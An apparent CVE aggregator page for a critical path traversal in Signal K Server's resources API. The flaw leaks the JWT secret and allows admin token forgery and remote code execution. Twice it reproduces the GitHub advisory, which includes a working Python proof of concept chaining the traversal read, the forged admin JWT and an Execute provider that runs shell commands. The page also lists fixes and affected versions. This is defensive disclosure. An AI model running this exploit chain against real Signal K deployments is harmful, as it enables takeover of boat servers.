CVE-2026-123807
Signal K Server: Unauthenticated path traversal in resources-provider v2 API leads to JWT secret disclosure, admin impersonation and remote code execution
Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Signal K Server: Unauthenticated path traversal in resources-provider v2 API leads to JWT secret disclosure, admin impersonation and remote code execution
Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.
- Record
CVE-2026-123807- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-10
EUVDEUVD-2026-120438
9.8
Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.
- Record
EUVD-2026-120438- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-09
GitHub AdvisoriesGHSA-4xm8-rg9h-jhq2
9.8
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
Summary
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json— disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT — HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution —
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master…
- Record
GHSA-4xm8-rg9h-jhq2- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-09
NVD
9.8
Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.
- Record
CVE-2026-123807- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-10
OSV
9.8
Signal K Server: Unauthenticated path traversal in resources-provider v2 API leads to JWT secret disclosure, admin impersonation and remote code execution
Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.
- Record
CVE-2026-123807- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-11
OSVGHSA-4xm8-rg9h-jhq2
9.8
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
Summary
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json— disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT — HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution —
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master…
- Record
GHSA-4xm8-rg9h-jhq2- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-09
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
signalk-servernpm |
2.0.0 up to 2.34.0 | 2.34.0 |
@signalk/resources-providernpm |
1.0.0 up to 1.5.3 | 1.5.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| references | CVE List | |
| references | NVD, OSV | |
| aliases | EUVD | |
| description, products, references, severity, title | CVE List, OSV | |
| aliases, facts, id | GitHub Advisories | |
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-123807 is a critical vulnerability (CVSS 9.8) in @signalk Resources-provider, published October 30, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in signalk-server 2.34.0.
References
github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2
github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1
github.com/SignalK/signalk-server/releases/tag/v2.34.0
github.com/advisories/GHSA-4xm8-rg9h-jhq2
github.com/CVEProject/cvelistV5/tree/main/cves/2026/123xxx/CVE-2026-123807.json
nvd.nist.gov/vuln/detail/CVE-2026-123807
github.com/SignalK/signalk-server
Left out here: the rest of 2 source descriptions. The JSON record has them.